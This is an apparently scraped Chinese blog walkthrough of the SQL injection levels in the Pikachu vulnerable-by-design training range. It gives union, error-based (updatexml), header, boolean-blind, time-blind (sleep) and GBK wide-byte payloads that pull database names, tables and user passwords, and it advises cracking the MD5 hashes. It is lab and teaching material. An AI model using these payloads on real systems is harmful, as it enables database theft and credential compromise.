SQL注入-Pikachu靶场通关

2024-04-28 10:59

本文主要是介绍SQL注入-Pikachu靶场通关,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

SQL注入-Pikachu靶场通关

目录

  • SQL注入-Pikachu靶场通关
    • 概述
    • 数字型注入(post)
    • 字符型注入(get)
    • 搜索型注入
    • xx型注入
    • insert/update注入
    • delete注入
    • http头部注入
    • 基于boolian的盲注
    • 基于时间的盲注
    • wide byte注入(宽字节注入)

概述

	在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;2.使用参数化(Parameterized Query 或 Parameterized Statement);3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重! 

数字型注入(post)

点击下拉框进行查询

image-20230820223216584

bp抓包获取信息

此题为post请求,说明请求内容在请求体当中

image-20230820223353554

发给重发器进行测试

payload:
id=1 and 1=1# 回显正常
id=1 and 1=2# 回显不正常
存在注入点

image-20230820223612771

回显不正常,说明带入数据库进行查询,执行了sql语句

image-20230820223657158

判断字段个数

payload:
id=1 order by 1# 回显正常
id=1 order by 2# 回显正常
id=1 order by 3# 回显不正常
说明有2列字段

image-20230820224102968

判断回显点

payload:
id=-1 union select 1,2#

image-20230820224349505

爆数据库

payload:
id=-1 union select user(),database()#
查询数据库的用户,当前数据库version() 查看数据库版本
@@version_compile_os 查看操作系统

image-20230820224501592

爆数据表

payload:
id=-1 union select database(),table_name from information_schema.tables where table_schema=database()#

image-20230820224931127

爆字段

payload:
id=-1 union select database(),column_name from information_schema.columns where table_name='users'#

image-20230820225223189

爆数据信息

payload:
id=-1 union select database(),group_concat(username,"/",password) from users#

image-20230820234045949

看源码

成功获取用户名以及密码,MD5解密即可

image-20230820234136099

字符型注入(get)

在输入框内输入admin

image-20230821001107432

尝试注入:

admin后加单引号,出现报错

image-20230821001230992

payload:
?name=admin' and 1=1--+ 回显正常
?name=admin' and 1=2--+ 回显不正常
存在注入

image-20230821001359846

sql语句被执行,爆出username不存在,说明插入的语句被执行带到数据库当中去查询

image-20230821001604712

接下来的步骤判断字段的个数,看回显点,爆库,爆表,爆字段,都和以上的数字型注入一致,区别就是类型不同,本题为字符型,单引号闭合,其他注入语句和以上一致。

搜索型注入

在输入框当中,尝试输入数字1

image-20230821001846899

分析为,sql语句当中存在模糊查找,%字符,与一般的字符型注入和数字型注入不同的是,搜索型注入的sql语句往往形如:select xxx from xxx where xxx like ‘%abcd%’

本质上和字符型注入的方式基本一样但闭合的特殊符号换成了%

测试注入点:

payload:
?name=1%' and 1=1--+ 回显正常
?name=1%' and 1=2--+ 回显不正常
存在注入

image-20230821002256959

说明sql语句被带到数据库当中去查询,被执行,没有查到信息

image-20230821002232803

接下来的步骤判断字段的个数,看回显点,爆库,爆表,爆字段,都和以上的数字型注入一致(注入sql语句也大体一致),区别就是类型不同,本题为搜索型,%'闭合,其他注入语句和以上一致。

xx型注入

不同的闭合方式分别去测试,本题为')闭合

使用圆括号尝试构造闭合:name=1 正常name=1' 报错name=1') 报错name=1') --+ 正常

image-20230821003312448

接下来的步骤判断字段的个数,看回显点,爆库,爆表,爆字段,都和以上的数字型注入一致(注入sql语句也大体一致),区别就是类型不同,本题为其他类型的闭合方式,')闭合,其他注入语句和以上一致。

判断字段个数:

image-20230821003537892

其他的爆库,爆表,爆字段,获取信息等sql语句和以上基本一致(数字型注入)。

insert/update注入

注册用户:

首先点击注册账号

image-20230821122800676

注册时,抓包获取信息

使用bp抓包,获取数据包后,发送给重发器进行测试

image-20230821122903454

测试注入:

从username处开始尝试

payload:
username=xiaohong' or updatexml(1,concat(0x7e,database()),3) or '&password=xiaohong123456&sex=%E5%A5%B3&phonenum=123123&email=hebei&add=hebei&submit=submit' or updatexml(1,concat(0x7e,database()),3) or '

image-20230821123310141

若查看其他数据库信息,替换database()即可

爆数据表:

payload:
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),0x7e),1) and '
通过修改limit 0,1当中第一个数字的值,逐一查看即可
...' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 3,1),0x7e),1) and '
当limit 3,1的时候,可查看到users这张表 

image-20230821124824245

爆字段

payload:
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1) and '
相同的道理,limit逐一去看列的信息
...当limit 12,1的时候,发现username
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 12,1),0x7e),1) and '当limit 13,1的时候,发现password
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 13,1),0x7e),1) and '

image-20230821125302124

image-20230821125327944

接下来就是获取username和password的信息

payload:
爆username的值:' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) and '' and updatexml(1,concat(0x7e,(select username from users limit 1,1),0x7e),1) and '' and updatexml(1,concat(0x7e,(select username from users limit 2,1),0x7e),1) and '
同样的道理还是limit去逐一查看切换第一个数字的值即可
limit 0,1 查出admin用户
limit 1,1 查出pikachu用户
limit 2,1 查出test用户

image-20230821125914478

payload:
爆password
与username对应
admin密码:
' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) and '
pikachu密码:
' and updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1) and '
test密码:
' and updatexml(1,concat(0x7e,(select password from users limit 2,1),0x7e),1) and '

成功获取密码

admin密码:

image-20230821130606002

pikachu密码:

image-20230821130736004

test密码:

image-20230821130756095

如果想一次性爆出,可以使用group_concat
但是updatexml限制长度,可以使用substr来进行显示
数据库的substr函数用法:
1、substr(str,pos,len)从pos开始的位置,截取len个字符;
2、substr(str,pos) pos开始的位置,一直截取到最后。payload:
'and updatexml(1,concat(0x7e,substr((select group_concat(username,'/',password) from pikachu.users),1,32),0x7e),1) and '

image-20230821132808132

当爆破完整的数据时,修改substr中第二个参数即可控制从何处进行显示,最后获得完整的数据。

爆出来的密码使用MD5进行解密即可。

更新用户信息:

在修改信息处,修改时进行抓包

image-20230821133616495

同理,使用bp抓包进行测试

测注入点,爆数据库
在add参数后面测试
payload:
' and updatexml(1,concat(0x7e,database()),3) and '#
其他参数位置都可以尝试

成功获取当前数据库
image-20230821133754231

其余的爆库爆表爆数据的操作和以上注册时注入的sql语句一致,大体一样。

delete注入

首先发表留言:

image-20230821134209255

删除留言时进行抓包

发给测试器进行测试

image-20230821134258904

测试注入点:

注意在bp当中,get请求当中去输入sql语句时,空格用+替代,否则会出现问题
payload:
+or+updatexml+(1,concat(0x7e,database()),0)--+

成功获取当前的数据库:

image-20230821135043594

其他的爆库爆表爆字段内容的sql语句以上注册时注入的一致。

http头部注入

该注入是对http包中的user-agent、x-forwarded-for或referer进行注入,当上述信息可被带入数据库进行处理时,可对其进行sql注入。

根据提示使用admin/123456进行登录

image-20230821135406179

登录后可查看到相关的信息ip,UA头信息等

开始尝试注入:

登录时使用bp抓包,发送给重发器进行测试

在cookie信息处存在注入,可进行注入:

payload:
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

成功回显

image-20230821140000025

在UA头部也可以注入,也可以成功回显

payload和以上一致

' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

image-20230821140133874

发现通过报错注入,数据库名被回显,说明UA代理也是一个注入点。

后续注入的基本流程和方法如上述报错注入基本相同。使用cookie注入或UA注入都可以。

基于boolian的盲注

布尔判断指的是利用SQL语句逻辑与操作,判断and两边的条件是否成立,SQL语句带入输入库查询后判断返回内容(通常返回值仅有非空和空两种状态),类似布尔型的true和false的两种状态。

(因为比较麻烦所以一般手动注入不会考虑此方法,需要慢慢判断)

输入任何值都说username不存在,有注入点,但是不会回显数据,这里可以尝试布尔注入,由于无法回显数据,利用逻辑操与数据库版本第1位数字字符做判断;

image-20230821142233189

image-20230821141531428

payload:
1' and left(version(),1)=5 --+
1' and length(database())>8 --+
' and length(database())>1#and (select substr(database(),1,1))='p'#...爆表长' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8#....

之后可通过bp或者脚本进行测试注入

基于时间的盲注

首先拿到此,发现不论输入什么,都是这个效果,提示这一句话

image-20230821142816465

输入一句话进行延迟看是否有效果,有效果说明存在注入:

payload:
admin and sleep(5)# 没有延迟
admin' and sleep(5)# 存在延迟

image-20230821143433335

if和sleep结合使用
admin'+and+if(1>0,sleep(5),-1)# 存在延时
猜解:
admin' and if((substr(database(),1,1))='s',sleep(5),-1)# 不延迟
admin' and if((substr(database(),1,1))='p',sleep(5),-1)# 延迟

image-20230821143731524

时间盲注整体上基本就是在布尔盲注的基础上增加if判断,并且与sleep配合,布尔盲注是当对的时候,返回正确的值,错误的时候返回错误的值,而时间盲注,不管正确还是错误都不会返回值,需要靠延迟判断。

通过对数据库信息的各个位置的不断判断,字母,长度等来推测数据库的数据

wide byte注入(宽字节注入)

宽字节注入,大概意思就是有些过滤不严谨的地方后端编码可能使用UTF8编码\'进行了单引号转义,有时候我们使用GBK编码绕过后端反斜杠转义测试宽字节注入,和联合注入是一样的只是在内容后面添加%df即可,通过在内容输入处输入内容,然后修改。比如获取显示位。宽字节注入的原理是:
当转义使用的\为ASCII编码,而客户端传入的参数被当成GBK等宽字节编码,则可以通过在\之前插入一个十六进制字节(ASCII码要大于128,才到汉字的范围)来让mysql以为插入的字节和\是一个中文字符,从而吃掉\,摧毁转义。

当输入1的时候,查询效果:

image-20230821144235341

进行抓包,测试注入:

payload:
name=1%df' or 1=1# 回显正常
name=1%df' or 2=1# 回显不正常
存在注入

image-20230821144515396

说明带到数据库当中进行查询

image-20230821144531078

使用联合查询进行注入:

判断回显:

payload:
name=1%df' union select 1,2#

image-20230821144641550

其他获取数据库信息,爆库、爆表、爆字段等信息同字符型注入使用的联合查询注入方式一致。

这篇关于SQL注入-Pikachu靶场通关的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/943069

相关文章

MySQL 中的 CAST 函数详解及常见用法

《MySQL中的CAST函数详解及常见用法》CAST函数是MySQL中用于数据类型转换的重要函数,它允许你将一个值从一种数据类型转换为另一种数据类型,本文给大家介绍MySQL中的CAST... 目录mysql 中的 CAST 函数详解一、基本语法二、支持的数据类型三、常见用法示例1. 字符串转数字2. 数字

Mysql实现范围分区表(新增、删除、重组、查看)

《Mysql实现范围分区表(新增、删除、重组、查看)》MySQL分区表的四种类型(范围、哈希、列表、键值),主要介绍了范围分区的创建、查询、添加、删除及重组织操作,具有一定的参考价值,感兴趣的可以了解... 目录一、mysql分区表分类二、范围分区(Range Partitioning1、新建分区表:2、分

MySQL 定时新增分区的实现示例

《MySQL定时新增分区的实现示例》本文主要介绍了通过存储过程和定时任务实现MySQL分区的自动创建,解决大数据量下手动维护的繁琐问题,具有一定的参考价值,感兴趣的可以了解一下... mysql创建好分区之后,有时候会需要自动创建分区。比如,一些表数据量非常大,有些数据是热点数据,按照日期分区MululbU

SQL Server配置管理器无法打开的四种解决方法

《SQLServer配置管理器无法打开的四种解决方法》本文总结了SQLServer配置管理器无法打开的四种解决方法,文中通过图文示例介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的... 目录方法一:桌面图标进入方法二:运行窗口进入检查版本号对照表php方法三:查找文件路径方法四:检查 S

MySQL 删除数据详解(最新整理)

《MySQL删除数据详解(最新整理)》:本文主要介绍MySQL删除数据的相关知识,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录一、前言二、mysql 中的三种删除方式1.DELETE语句✅ 基本语法: 示例:2.TRUNCATE语句✅ 基本语

MySQL中查找重复值的实现

《MySQL中查找重复值的实现》查找重复值是一项常见需求,比如在数据清理、数据分析、数据质量检查等场景下,我们常常需要找出表中某列或多列的重复值,具有一定的参考价值,感兴趣的可以了解一下... 目录技术背景实现步骤方法一:使用GROUP BY和HAVING子句方法二:仅返回重复值方法三:返回完整记录方法四:

从入门到精通MySQL联合查询

《从入门到精通MySQL联合查询》:本文主要介绍从入门到精通MySQL联合查询,本文通过实例代码给大家介绍的非常详细,需要的朋友可以参考下... 目录摘要1. 多表联合查询时mysql内部原理2. 内连接3. 外连接4. 自连接5. 子查询6. 合并查询7. 插入查询结果摘要前面我们学习了数据库设计时要满

MySQL查询JSON数组字段包含特定字符串的方法

《MySQL查询JSON数组字段包含特定字符串的方法》在MySQL数据库中,当某个字段存储的是JSON数组,需要查询数组中包含特定字符串的记录时传统的LIKE语句无法直接使用,下面小编就为大家介绍两种... 目录问题背景解决方案对比1. 精确匹配方案(推荐)2. 模糊匹配方案参数化查询示例使用场景建议性能优

mysql表操作与查询功能详解

《mysql表操作与查询功能详解》本文系统讲解MySQL表操作与查询,涵盖创建、修改、复制表语法,基本查询结构及WHERE、GROUPBY等子句,本文结合实例代码给大家介绍的非常详细,感兴趣的朋友跟随... 目录01.表的操作1.1表操作概览1.2创建表1.3修改表1.4复制表02.基本查询操作2.1 SE

MySQL中的锁机制详解之全局锁,表级锁,行级锁

《MySQL中的锁机制详解之全局锁,表级锁,行级锁》MySQL锁机制通过全局、表级、行级锁控制并发,保障数据一致性与隔离性,全局锁适用于全库备份,表级锁适合读多写少场景,行级锁(InnoDB)实现高并... 目录一、锁机制基础:从并发问题到锁分类1.1 并发访问的三大问题1.2 锁的核心作用1.3 锁粒度分